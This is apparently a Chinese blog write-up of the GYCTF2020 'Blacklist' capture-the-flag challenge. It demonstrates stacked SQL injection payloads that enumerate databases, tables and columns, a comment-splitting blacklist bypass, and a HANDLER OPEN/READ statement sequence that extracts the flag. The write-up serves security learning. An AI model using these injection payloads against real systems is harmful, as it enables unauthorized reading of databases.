[GYCTF2020]Blacklist

刚开始是这样

既然有个1那就先输入1查询一下吧

返回了一个数组

再加一个单引号,出现报错,说明存在SQL注入

看这个题第一想法就是堆叠注入

为了防止输入1时的干涉,我们输入0(单纯输入0是不会出现任何回应的)

0';show databases;#

然后得到数据库的名字

 然后查询表格

0';show tables;#

FlagHere提示的已经很明显,我们来查询这个表格列名

0';show columns from `FlagHere`;#

本来是直接查询flag就可以了

0';select flag from `FlagHere`;#

但是此时提示不能出现以下关键词

 我们知道/**/可以绕过检查,所以修改payload

0';sel/**/ect flag from `FlagHere`;#

但是竟然什么都没有

然后查询wp发现还有一种操作

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

这是一个例子

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

 更多可参考MySQL :: MySQL 8.0 Reference Manual :: 13.2.4 HANDLER Statement

所以按照这个重新构造payload

0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

得到flag

感觉其他两个题和这个差不多,就把链接放下面了

[SUCTF 2019]EasySQL_-眼里有星河-的博客-CSDN博客

[强网杯 2019]随便注_-眼里有星河-的博客-CSDN博客

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值